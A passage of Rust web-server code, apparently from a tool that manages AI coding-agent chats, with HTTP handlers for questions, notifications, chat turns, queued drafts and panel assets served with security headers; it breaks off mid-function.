5817
5818fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
5820 crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
5821}
5822
5823fn question_views(
5826 qs: Vec<Question>,
5827 store: &ask::Questions,
5828 load: impl FnOnce() -> Option<Config>,
5829) -> Vec<QuestionView> {
5830 if qs.is_empty() {
5831 return Vec::new();
5832 }
5833 let cfg = load();
5834 qs.into_iter()
5835 .map(|q| {
5836 let on = deputies_enabled(cfg.as_ref(), &q);
5837 QuestionView::of(q, store, on)
5838 })
5839 .collect()
5840}
5841
5842fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
5852 if !q.status.open() {
5853 return None;
5854 }
5855 if q.cwd.is_none() && q.deputy.is_none() {
5856 return crate::deputy::kind_of(q).map(|_| "nobody");
5857 }
5858 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
5859 Some(_) if q.deputy.is_some() => "deputy",
5860 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
5861 Some(_) => "asker",
5862 None => "nobody",
5863 })
5864}
5865
5866async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
5872 blocking(move || {
5873 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5874 Ok(Json(
5875 question_views(ui.questions.list(), &ui.questions, || {
5876 deputy_config(&ui.repo)
5877 })
5878 .into_iter()
5879 .map(|v| v.with_origin(&tasks, &talks))
5880 .collect(),
5881 ))
5882 })
5883 .await
5884}
5885
5886async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5889 blocking(move || {
5890 let items = ui.notices.list();
5891 let unread = items.iter().filter(|n| n.unread()).count();
5892 Ok(Json(
5893 serde_json::json!({ "unread": unread, "items": items }),
5894 ))
5895 })
5896 .await
5897}
5898
5899fn notice_error(e: anyhow::Error) -> ApiError {
5900 ApiError::not_found(format!("{e:#}"))
5903}
5904
5905async fn notification_read(
5907 State(ui): State<Arc<Ui>>,
5908 Path(id): Path<String>,
5909) -> ApiResult<Json<Notice>> {
5910 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
5911}
5912
5913async fn notification_dismiss(
5915 State(ui): State<Arc<Ui>>,
5916 Path(id): Path<String>,
5917) -> ApiResult<Json<Notice>> {
5918 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
5919}
5920
5921async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5923 blocking(move || {
5924 let changed = ui.notices.mark_all_read()?;
5925 Ok(Json(serde_json::json!({ "marked": changed })))
5926 })
5927 .await
5928}
5929
5930#[derive(Debug, Default, Deserialize)]
5936#[serde(default, deny_unknown_fields)]
5937struct NewAnswer {
5938 choice: Option<String>,
5939 text: Option<String>,
5940}
5941
5942async fn question_answer(
5943 State(ui): State<Arc<Ui>>,
5944 Path(id): Path<String>,
5945 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
5946) -> ApiResult<Json<QuestionView>> {
5947 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5948 let answer = match (body.choice, body.text) {
5949 (Some(c), None) => Answer::Choice(c),
5950 (None, Some(t)) => Answer::Text(t),
5951 (Some(_), Some(_)) => {
5952 return Err(ApiError::bad_request(
5953 "send either `choice` or `text`, not both",
5954 ));
5955 }
5956 (None, None) => {
5957 return Err(ApiError::bad_request("send a `choice` or a `text`"));
5958 }
5959 };
5960
5961 blocking(move || {
5962 let id = resolve_question(&ui.questions, &id)?;
5963 let q = ui
5964 .questions
5965 .get(&id)
5966 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5967 if !q.status.open() {
5968 return Err(ApiError::conflict(format!(
5972 "question {} is already {}",
5973 q.short(),
5974 q.status.as_str()
5975 )));
5976 }
5977 let (q, ()) = ui
5981 .questions
5982 .update(&q.id, |r| r.answer(answer))
5983 .map_err(ApiError::bad_request_from)?;
5984 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5985 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5986 Ok(Json(
5987 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
5988 ))
5989 })
5990 .await
5991}
5992
5993#[derive(Debug, Deserialize)]
5995#[serde(deny_unknown_fields)]
5996struct NewSay {
5997 body: String,
5998}
5999
6000async fn question_say(
6010 State(ui): State<Arc<Ui>>,
6011 Path(id): Path<String>,
6012 body: std::result::Result<Json<NewSay>, JsonRejection>,
6013) -> ApiResult<Json<QuestionView>> {
6014 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6015 blocking(move || {
6016 let id = resolve_question(&ui.questions, &id)?;
6017 let q = ui
6018 .questions
6019 .get(&id)
6020 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6021 if !q.status.open() {
6022 return Err(ApiError::conflict(format!(
6026 "question {} is already {}",
6027 q.short(),
6028 q.status.as_str()
6029 )));
6030 }
6031 let (q, ()) = ui
6034 .questions
6035 .update(&q.id, |r| r.say(body.body))
6036 .map_err(ApiError::bad_request_from)?;
6037 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6038 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6039 Ok(Json(
6040 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
6041 ))
6042 })
6043 .await
6044}
6045
6046async fn question_consult(
6055 State(ui): State<Arc<Ui>>,
6056 Path(id): Path<String>,
6057) -> ApiResult<(StatusCode, Json<QuestionView>)> {
6058 let (view, reclaimed) = blocking({
6059 let ui = Arc::clone(&ui);
6060 move || {
6061 let id = resolve_question(&ui.questions, &id)?;
6062 let q = ui
6063 .questions
6064 .get(&id)
6065 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6066 if !q.status.open() {
6067 return Err(ApiError::conflict(format!(
6068 "question {} is already {}",
6069 q.short(),
6070 q.status.as_str()
6071 )));
6072 }
6073 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6074 let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
6075 return Err(ApiError::conflict(format!(
6076 "question {} has no chat to ask",
6077 q.short()
6078 )));
6079 };
6080 let cfg = if q.consult.is_none() {
6084 Some(Config::discover(&talk.repo, None)?.0)
6085 } else {
6086 None
6087 };
6088 let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
6089 let claim = if fresh {
6090 match ui.begin_queued_talk_turn(&talk.id)? {
6091 Some(turn_guard) => {
6092 let talk = ui.talks.get(&talk.id)?;
6093 let cfg = match cfg {
6094 Some(cfg) => cfg,
6095 None => Config::discover(&talk.repo, None)?.0,
6096 };
6097 Some((talk, cfg, turn_guard))
6098 }
6099 None => None,
6100 }
6101 } else {
6102 None
6103 };
6104 let q = ui.questions.get(&q.id)?;
6105 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6106 let view = QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks);
6107 Ok((view, claim))
6108 }
6109 })
6110 .await?;
6111 if let Some((talk, cfg, turn_guard)) = reclaimed {
6112 let talks = ui.talks.clone();
6113 let id = talk.id.clone();
6114 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6115 }
6116 Ok((StatusCode::ACCEPTED, Json(view)))
6117}
6118
6119fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
6121 if store.path_of(id).is_file() {
6122 return Ok(id.to_owned());
6123 }
6124 pick(
6125 store.list().into_iter().map(|q| q.id).collect(),
6126 id,
6127 "question",
6128 )
6129}
6130
6131async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
6146 blocking(move || {
6147 let id = resolve_question(&ui.questions, &id)?;
6148 let Some(html) = ui.questions.panel_html(&id) else {
6149 return Err(ApiError::not_found(format!("question {id} has no panel")));
6150 };
6151 Ok(panel_response(
6152 "text/html; charset=utf-8",
6153 false,
6154 html.into_bytes(),
6155 ))
6156 })
6157 .await
6158}
6159
6160async fn question_asset(
6188 State(ui): State<Arc<Ui>>,
6189 Path((id, name)): Path<(String, String)>,
6190) -> ApiResult<Response> {
6191 if !crate::ask::valid_asset_name(&name) {
6194 return Err(ApiError::bad_request(format!(
6195 "`{name}` is not a usable asset name"
6196 )));
6197 }
6198 blocking(move || {
6199 let id = resolve_question(&ui.questions, &id)?;
6200 let asset = ui
6201 .questions
6202 .panel_asset(&id, &name)
6203 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
6204 let Some(bytes) = asset else {
6205 return Err(ApiError::not_found(format!(
6206 "question {id} has no asset `{name}`"
6207 )));
6208 };
6209 Ok(panel_response(
6210 asset_content_type(&name),
6211 is_svg(&name),
6212 bytes,
6213 ))
6214 })
6215 .await
6216}
6217
6218fn asset_content_type(name: &str) -> &'static str {
6231 match extension(name).as_deref() {
6232 Some("png") => "image/png",
6233 Some("jpg" | "jpeg") => "image/jpeg",
6234 Some("gif") => "image/gif",
6235 Some("webp") => "image/webp",
6236 Some("svg") => "image/svg+xml",
6237 Some("css") => "text/css; charset=utf-8",
6238 Some("txt") => "text/plain; charset=utf-8",
6239 _ => "application/octet-stream",
6240 }
6241}
6242
6243fn is_svg(name: &str) -> bool {
6246 extension(name).as_deref() == Some("svg")
6247}
6248
6249fn extension(name: &str) -> Option<String> {
6251 name.rsplit_once('.')
6252 .map(|(_, ext)| ext.to_ascii_lowercase())
6253}
6254
6255fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
6272 let mut res = (
6273 [
6274 (header::CONTENT_TYPE, content_type),
6275 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
6276 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
6277 (header::REFERRER_POLICY, "no-referrer"),
6278 ],
6279 body,
6280 )
6281 .into_response();
6282 if download {
6283 res.headers_mut().insert(
6284 header::CONTENT_DISPOSITION,
6285 HeaderValue::from_static("attachment"),
6286 );
6287 }
6288 res
6289}
6290
6291#[derive(Debug, Serialize)]
6297struct TalkView {
6298 #[serde(flatten)]
6299 talk: Talk,
6300 turn_bodies_md: Vec<Vec<md::Node>>,
6301 thinking: bool,
6309 context: talk::ContextUsage,
6313 operator_name: Option<String>,
6316 persona_name: Option<String>,
6318}
6319
6320impl TalkView {
6321 fn new(talk: Talk, thinking: bool) -> Self {
6324 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6325 Self::with_config(talk, thinking, cfg.as_ref())
6326 }
6327
6328 fn with_config(talk: Talk, thinking: bool, cfg: Option<&Config>) -> Self {
6331 let context = talk::context_usage(&talk, cfg);
6332 let turn_bodies_md = talk
6333 .turns
6334 .iter()
6335 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
6336 .collect();
6337 let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
6338 let persona_name = persona::find(specs, &talk.persona)
6339 .filter(|p| !p.is_default())
6340 .map(|p| p.name);
6341 let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
6342 Self {
6343 turn_bodies_md,
6344 thinking,
6345 context,
6346 operator_name,
6347 persona_name,
6348 talk,
6349 }
6350 }
6351}
6352
6353#[derive(Debug, Serialize)]
6358struct TalkDetailView {
6359 #[serde(flatten)]
6360 view: TalkView,
6361 tasks: Vec<TaskView>,
6362 roster: Vec<RosterEntry>,
6365 personas: Vec<PersonaEntry>,
6368}
6369
6370#[derive(Debug, Serialize)]
6372struct PersonaEntry {
6373 id: String,
6374 name: String,
6375}
6376
6377#[derive(Debug, Serialize)]
6379struct RosterEntry {
6380 id: String,
6381 kind: AgentKind,
6382 runnable: bool,
6384}
6385
6386async fn talks_list(
6391 State(ui): State<Arc<Ui>>,
6392 Query(q): Query<ListQuery>,
6393) -> ApiResult<Json<Vec<TalkView>>> {
6394 blocking(move || {
6395 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
6396 Ok(Json(
6397 ui.talks
6398 .list()
6399 .into_iter()
6400 .filter(|talk| q.contains(&talk.id))
6401 .map(|talk| {
6402 let thinking = ui.is_thinking(&talk.id);
6403 let cfg = configs
6404 .entry(talk.repo.clone())
6405 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
6406 TalkView::with_config(talk, thinking, cfg.as_ref())
6407 })
6408 .collect(),
6409 ))
6410 })
6411 .await
6412}
6413
6414#[derive(Debug, Default, Deserialize)]
6419#[serde(default)]
6420struct NewTalk {
6421 agent: Option<String>,
6422 repo: Option<PathBuf>,
6423 preferred_agent: Option<serde_json::Value>,
6427 persona: Option<serde_json::Value>,
6428 implementers: Option<serde_json::Value>,
6429}
6430
6431async fn talk_post(
6434 State(ui): State<Arc<Ui>>,
6435 body: std::result::Result<Json<NewTalk>, JsonRejection>,
6436) -> ApiResult<impl IntoResponse> {
6437 let body = match body {
6441 Ok(Json(body)) => body,
6442 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
6443 Err(e) => return Err(ApiError::bad_request(e.body_text())),
6444 };
6445 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
6446 let cfg = config_for(&repo).await?;
6447 let view = blocking(move || {
6448 let preferred = talk::Preferred {
6449 agent: body
6450 .preferred_agent
6451 .as_ref()
6452 .and_then(|v| v.as_str())
6453 .map(str::to_owned),
6454 persona: body
6455 .persona
6456 .as_ref()
6457 .and_then(|v| v.as_str())
6458 .map(str::to_owned),
6459 implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
6460 };
6461 let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
6462 let thinking = ui.is_thinking(&talk.id);
6463 Ok(TalkView::new(talk, thinking))
6464 })
6465 .await?;
6466 Ok((StatusCode::CREATED, Json(view)))
6467}
6468
6469async fn talk_detail(
6471 State(ui): State<Arc<Ui>>,
6472 Path(id): Path<String>,
6473) -> ApiResult<Json<TalkDetailView>> {
6474 blocking(move || {
6475 let id = resolve_talk(&ui.talks, &id)?;
6476 let talk = ui.talks.get(&id)?;
6477 let thinking = ui.is_thinking(&talk.id);
6478 let tasks = talk::tasks_of(&ui.queue, &talk.id)
6479 .into_iter()
6480 .map(TaskView::from)
6481 .collect();
6482 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6483 let roster = cfg
6484 .as_ref()
6485 .map(|cfg| {
6486 cfg.agents
6487 .iter()
6488 .map(|a| RosterEntry {
6489 id: a.id.clone(),
6490 kind: a.kind,
6491 runnable: agent::installed(a),
6492 })
6493 .collect()
6494 })
6495 .unwrap_or_default();
6496 let specs = cfg
6497 .as_ref()
6498 .map(|cfg| cfg.talk.personas.clone())
6499 .unwrap_or_default();
6500 let personas = persona::catalog(&specs)
6501 .into_iter()
6502 .map(|p| PersonaEntry {
6503 id: p.id,
6504 name: p.name,
6505 })
6506 .collect();
6507 Ok(Json(TalkDetailView {
6508 view: TalkView::with_config(talk, thinking, cfg.as_ref()),
6509 tasks,
6510 roster,
6511 personas,
6512 }))
6513 })
6514 .await
6515}
6516
6517#[derive(Debug, Default, Deserialize)]
6523#[serde(default, deny_unknown_fields)]
6524struct NewTalkTurn {
6525 text: String,
6526 attachments: Vec<String>,
6527}
6528
6529#[derive(Debug, Deserialize)]
6530#[serde(deny_unknown_fields)]
6531struct EditTalkPending {
6532 text: String,
6533 expected_text: String,
6534 expected_attachments: Vec<String>,
6535}
6536
6537#[derive(Debug, Deserialize)]
6538#[serde(deny_unknown_fields)]
6539struct ClearTalkPending {
6540 expected_text: String,
6541 expected_attachments: Vec<String>,
6542}
6543
6544async fn talk_say(
6556 State(ui): State<Arc<Ui>>,
6557 Path(id): Path<String>,
6558 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
6559) -> ApiResult<(StatusCode, Json<TalkView>)> {
6560 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6561 if body.text.trim().is_empty() && body.attachments.is_empty() {
6562 return Err(ApiError::bad_request("say something"));
6563 }
6564
6565 let id = {
6566 let ui = Arc::clone(&ui);
6567 let asked = id.clone();
6568 blocking(move || resolve_talk(&ui.talks, &asked)).await?
6569 };
6570 {
6574 let ui = Arc::clone(&ui);
6575 let id = id.clone();
6576 blocking(move || {
6577 let talk = ui.talks.get(&id)?;
6578 if !talk.status.open() {
6579 return Err(ApiError::conflict(format!(
6580 "talk {} is {} and takes no more turns",
6581 talk.short(),
6582 talk.status.as_str()
6583 )));
6584 }
6585 Ok(())
6586 })
6587 .await?;
6588 }
6589
6590 let attachments = {
6595 let ui = Arc::clone(&ui);
6596 let id = id.clone();
6597 let ids = body.attachments.clone();
6598 blocking(move || {
6599 ids.into_iter()
6600 .map(|att_id| {
6601 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
6602 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
6603 })
6604 })
6605 .collect::<ApiResult<Vec<talk::Attachment>>>()
6606 })
6607 .await?
6608 };
6609
6610 let start = {
6615 let ui = Arc::clone(&ui);
6616 let id = id.clone();
6617 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
6618 };
6619 let turn_guard = match start {
6620 TalkTurnStart::Claimed(turn_guard) => turn_guard,
6621 TalkTurnStart::Pending => {
6622 return Err(ApiError::conflict(
6623 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
6624 ));
6625 }
6626 TalkTurnStart::Foreign => {
6627 return Err(ApiError::conflict(
6628 "a turn is already running in another process; try again when it has finished",
6629 ));
6630 }
6631 TalkTurnStart::Busy => {
6632 let (tx, rx) = tokio::sync::oneshot::channel();
6648 tokio::spawn({
6649 let ui = Arc::clone(&ui);
6650 let id = id.clone();
6651 let said = body.text.clone();
6652 async move {
6653 let written = blocking({
6654 let ui = Arc::clone(&ui);
6655 let id = id.clone();
6656 move || {
6657 let mut talk = ui.talks.get(&id)?;
6658 #[cfg(test)]
6663 if let Some(gate) = ui
6664 .busy_queue_gate
6665 .lock()
6666 .unwrap_or_else(PoisonError::into_inner)
6667 .take()
6668 {
6669 let _ = gate.reached.send(());
6670 let _ = gate.release.recv();
6671 }
6672 if let Err(error) =
6673 talk::queue(&mut talk, &ui.talks, &said, attachments)
6674 {
6675 if let Ok(fresh) = ui.talks.get(&id) {
6676 if !fresh.status.open() {
6677 return Err(ApiError::conflict(format!(
6678 "talk {} is {} and takes no more turns",
6679 fresh.short(),
6680 fresh.status.as_str()
6681 )));
6682 }
6683 }
6684 return Err(ApiError::from(error));
6685 }
6686 let claim = match ui.begin_queued_talk_turn(&id)? {
6697 Some(turn_guard) => {
6698 let (cfg, _) = Config::discover(&talk.repo, None)?;
6699 Some((talk.clone(), cfg, turn_guard))
6700 }
6701 None => None,
6702 };
6703 let thinking = ui.is_thinking(&id);
6704 Ok((TalkView::new(talk, thinking), claim))
6705 }
6706 })
6707 .await;
6708 let (view, reclaimed) = match written {
6709 Ok(pair) => pair,
6710 Err(e) => {
6711 let _ = tx.send(Err(e));
6716 return;
6717 }
6718 };
6719 let _ = tx.send(Ok(view));
6722 if let Some((talk, cfg, turn_guard)) = reclaimed {
6723 let talks = ui.talks.clone();
6724 drain_loop(talk, talks, cfg, id, turn_guard).await;
6725 }
6726 }
6727 });
6728 let view = rx
6729 .await
6730 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6731 return Ok((StatusCode::ACCEPTED, Json(view)));
6732 }
6733 };
6734
6735 let (talk, cfg) = {
6736 let ui = Arc::clone(&ui);
6737 let id = id.clone();
6738 blocking(move || {
6739 let talk = ui.talks.get(&id)?;
6740 let (cfg, _) = Config::discover(&talk.repo, None)?;
6741 Ok((talk, cfg))
6742 })
6743 .await?
6744 };
6745
6746 let talks = ui.talks.clone();
6747 let (tx, rx) = tokio::sync::oneshot::channel();
6762 tokio::spawn({
6763 let ui = Arc::clone(&ui);
6764 let talks = talks.clone();
6765 let id = id.clone();
6766 let said = body.text.clone();
6767 let mut talk = talk.clone();
6768 async move {
6769 let recorded = blocking({
6770 let talks = talks.clone();
6771 move || {
6772 if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
6773 if let Ok(fresh) = talks.get(&talk.id) {
6774 if !fresh.status.open() {
6775 return Err(ApiError::conflict(format!(
6776 "talk {} is {} and takes no more turns",
6777 fresh.short(),
6778 fresh.status.as_str()
6779 )));
6780 }
6781 }
6782 return Err(ApiError::from(error));
6783 }
6784 Ok((said.trim().to_owned(), talk))
6790 }
6791 })
6792 .await;
6793 let (text, mut talk) = match recorded {
6794 Ok(pair) => pair,
6795 Err(e) => {
6796 let _ = tx.send(Err(e));
6800 return;
6801 }
6802 };
6803 let queued = talk.clone();
6804 let thinking = ui.is_thinking(&id);
6805 let _ = tx.send(Ok((queued, thinking)));
6808
6809 if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
6810 tracing::warn!("talk {id} turn failed: {e:#}");
6814 }
6815 drain_loop(talk, talks, cfg, id, turn_guard).await;
6818 }
6819 });
6820
6821 let (queued, thinking) = rx
6822 .await
6823 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6824
6825 Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
6827}
6828
6829async fn talk_pending_resume(
6833 State(ui): State<Arc<Ui>>,
6834 Path(id): Path<String>,
6835) -> ApiResult<(StatusCode, Json<TalkView>)> {
6836 let id = {
6837 let ui = Arc::clone(&ui);
6838 let asked = id.clone();
6839 blocking(move || resolve_talk(&ui.talks, &asked)).await?
6840 };
6841 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6842 return Err(ApiError::conflict(
6843 "a talk turn is already running; the queued draft will be handled by it",
6844 ));
6845 };
6846 let (talk, cfg) = {
6847 let ui = Arc::clone(&ui);
6848 let id = id.clone();
6849 blocking(move || {
6850 let talk = ui.talks.get(&id)?;
6851 if !talk.status.open() {
6852 return Err(ApiError::conflict(format!(
6853 "talk {} is {} and takes no more turns",
6854 talk.short(),
6855 talk.status.as_str()
6856 )));
6857 }
6858 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
6859 return Err(ApiError::conflict("there is no queued draft to resume"));
6860 }
6861 let (cfg, _) = Config::discover(&talk.repo, None)?;
6862 Ok((talk, cfg))
6863 })
6864 .await?
6865 };
6866 let view = TalkView::new(talk.clone(), true);
6867 let talks = ui.talks.clone();
6868 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6869 Ok((StatusCode::ACCEPTED, Json(view)))
6870}
6871
6872async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
6888 let live_set = Arc::clone(&turn.turns);
6889 let mut turn = Some(turn);
6897 loop {
6898 if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
6899 tracing::warn!("talk {id} lost its turn lease; not draining further");
6902 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6903 if let Some(turn) = turn.take() {
6904 turn.release(&mut live);
6905 }
6906 break;
6907 }
6908 {
6909 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6912 if live.parking {
6913 if let Some(turn) = turn.take() {
6914 turn.release(&mut live);
6915 }
6916 break;
6917 }
6918 }
6919 let observed = live_set
6923 .lock()
6924 .unwrap_or_else(PoisonError::into_inner)
6925 .queued
6926 .get(&id)
6927 .copied()
6928 .unwrap_or(0);
6929 let drained = blocking({
6930 let talks = talks.clone();
6931 let live_set = Arc::clone(&live_set);
6932 move || {
6933 let live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6938 let result = if live.parking {
6939 Ok(None)
6940 } else {
6941 talk::drain(&mut talk, &talks)
6942 };
6943 drop(live);
6944 Ok((talk, result))
6945 }
6946 })
6947 .await;
6948 let (next_talk, result) = match drained {
6949 Ok(drained) => drained,
6950 Err(e) => {
6951 tracing::warn!(
6952 status = %e.status,
6953 message = %e.message,
6954 "talk {id} could not start queued-text drain"
6955 );
6956 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6957 turn.take()
6958 .expect("held for the whole loop until released here")
6959 .release(&mut live);
6960 break;
6961 }
6962 };
6963 talk = next_talk;
6964 let drained = match result {
6965 Ok(Some(drained)) => drained,
6966 Ok(None) => {
6967 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6968 if live.queued.get(&id).copied().unwrap_or(0) != observed {
6969 continue;
6970 }
6971 turn.take()
6972 .expect("held for the whole loop until released here")
6973 .release(&mut live);
6974 break;
6975 }
6976 Err(e) => {
6977 tracing::warn!("talk {id} could not drain queued text: {e:#}");
6978 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6979 turn.take()
6980 .expect("held for the whole loop until released here")
6981 .release(&mut live);
6982 break;
6983 }
6984 };
6985 let responded = match turn.as_ref() {
6986 Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
6987 None => Err(anyhow::anyhow!("the turn guard was released")),
6988 };
6989 if let Err(e) = responded {
6990 tracing::warn!("talk {id} turn failed: {e:#}");
6991 }
6992 }
6993}
6994
6995async fn talk_pending_clear(
6997 State(ui): State<Arc<Ui>>,
6998 Path(id): Path<String>,
6999 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
7000) -> ApiResult<Json<TalkView>> {
7001 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7002 blocking(move || {
7003 let id = resolve_talk(&ui.talks, &id)?;
7004 let mut talk = ui.talks.get(&id)?;
7005 if !talk.status.open() {
7006 return Err(ApiError::conflict(format!(
7007 "talk {} is {} and takes no more turns",
7008 talk.short(),
7009 talk.status.as_str()
7010 )));
7011 }
7012 if !talk::clear_pending_if_matches(
7013 &mut talk,
7014 &ui.talks,
7015 &body.expected_text,
7016 &body.expected_attachments,
7017 )? {
7018 return Err(ApiError::conflict(
7019 "queued message changed; reload it before clearing",
7020 ));
7021 }
7022 let thinking = ui.is_thinking(&talk.id);
7023 Ok(Json(TalkView::new(talk, thinking)))
7024 })
7025 .await
7026}
7027
7028async fn talk_pending_edit(
7032 State(ui): State<Arc<Ui>>,
7033 Path(id): Path<String>,
7034 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
7035) -> ApiResult<Json<TalkView>> {
7036 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7037 let (view, reclaimed) = blocking({
7038 let ui = Arc::clone(&ui);
7039 move || {
7040 let id = resolve_talk(&ui.talks, &id)?;
7041 let mut talk = ui.talks.get(&id)?;
7042 if !talk.status.open() {
7043 return Err(ApiError::conflict(format!(
7044 "talk {} is {} and takes no more turns",
7045 talk.short(),
7046 talk.status.as_str()
7047 )));
7048 }
7049 if !talk::edit_pending_text(
7050 &mut talk,
7051 &ui.talks,
7052 &body.text,
7053 &body.expected_text,
7054 &body.expected_attachments,
7055 )? {
7056 return Err(ApiError::conflict(
7057 "queued message changed; reload it before editing",
7058 ));
7059 }
7060 let claim = match ui.begin_queued_talk_turn(&id)? {
7061 Some(turn_guard) => {
7062 let (cfg, _) = Config::discover(&talk.repo, None)?;
7063 Some((talk.clone(), cfg, id.clone(), turn_guard))
7064 }
7065 None => None,
7066 };
7067 let thinking = ui.is_thinking(&id);
7068 Ok((TalkView::new(talk, thinking), claim))
7069 }
7070 })
7071 .await?;
7072 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
7073 let talks = ui.talks.clone();
7074 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7075 }
7076 Ok(Json(view))
7077}
7078
7079#[derive(Debug, Deserialize)]
7081struct TalkAgent {
7082 agent: String,
7083}
7084
7085async fn talk_agent(
7090 State(ui): State<Arc<Ui>>,
7091 Path(id): Path<String>,
7092 Json(body): Json<TalkAgent>,
7093) -> ApiResult<Json<TalkView>> {
7094 let id = {
7095 let ui = Arc::clone(&ui);
7096 blocking(move || resolve_talk(&ui.talks, &id)).await?
7097 };
7098 let repo = {
7099 let ui = Arc::clone(&ui);
7100 let id = id.clone();
7101 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7102 };
7103 let cfg = config_for(&repo).await?;
7104 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7105 return Err(ApiError::conflict(
7106 "a talk turn is running; change the agent once it has answered",
7107 ));
7108 };
7109 let switched = {
7110 let ui = Arc::clone(&ui);
7111 let id = id.clone();
7112 let cfg = cfg.clone();
7113 blocking(move || {
7114 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
7115 .map_err(ApiError::bad_request_from)?;
7116 let mut talk = ui.talks.get(&id)?;
7117 if !talk.status.open() {
7118 return Err(ApiError::conflict(format!(
7119 "talk {} is {} and takes no more turns",
7120 talk.short(),
7121 talk.status.as_str()
7122 )));
7123 }
7124 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
7125 Ok(talk)
7126 })
7127 .await
7128 };
7129 let fresh = {
7134 let ui = Arc::clone(&ui);
7135 let id = id.clone();
7136 blocking(move || Ok(ui.talks.get(&id)?)).await
7137 };
7138 let draining = match fresh {
7139 Ok(talk) => {
7140 let draining = talk.status.open()
7141 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
7142 let talks = ui.talks.clone();
7143 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7144 draining
7145 }
7146 Err(_) => false,
7147 };
7148 let talk = switched?;
7149 Ok(Json(TalkView::new(talk, draining)))
7150}
7151
7152#[derive(Debug, Deserialize)]
7154struct TalkPersona {
7155 persona: String,
7156}
7157
7158async fn talk_persona(
7162 State(ui): State<Arc<Ui>>,
7163 Path(id): Path<String>,
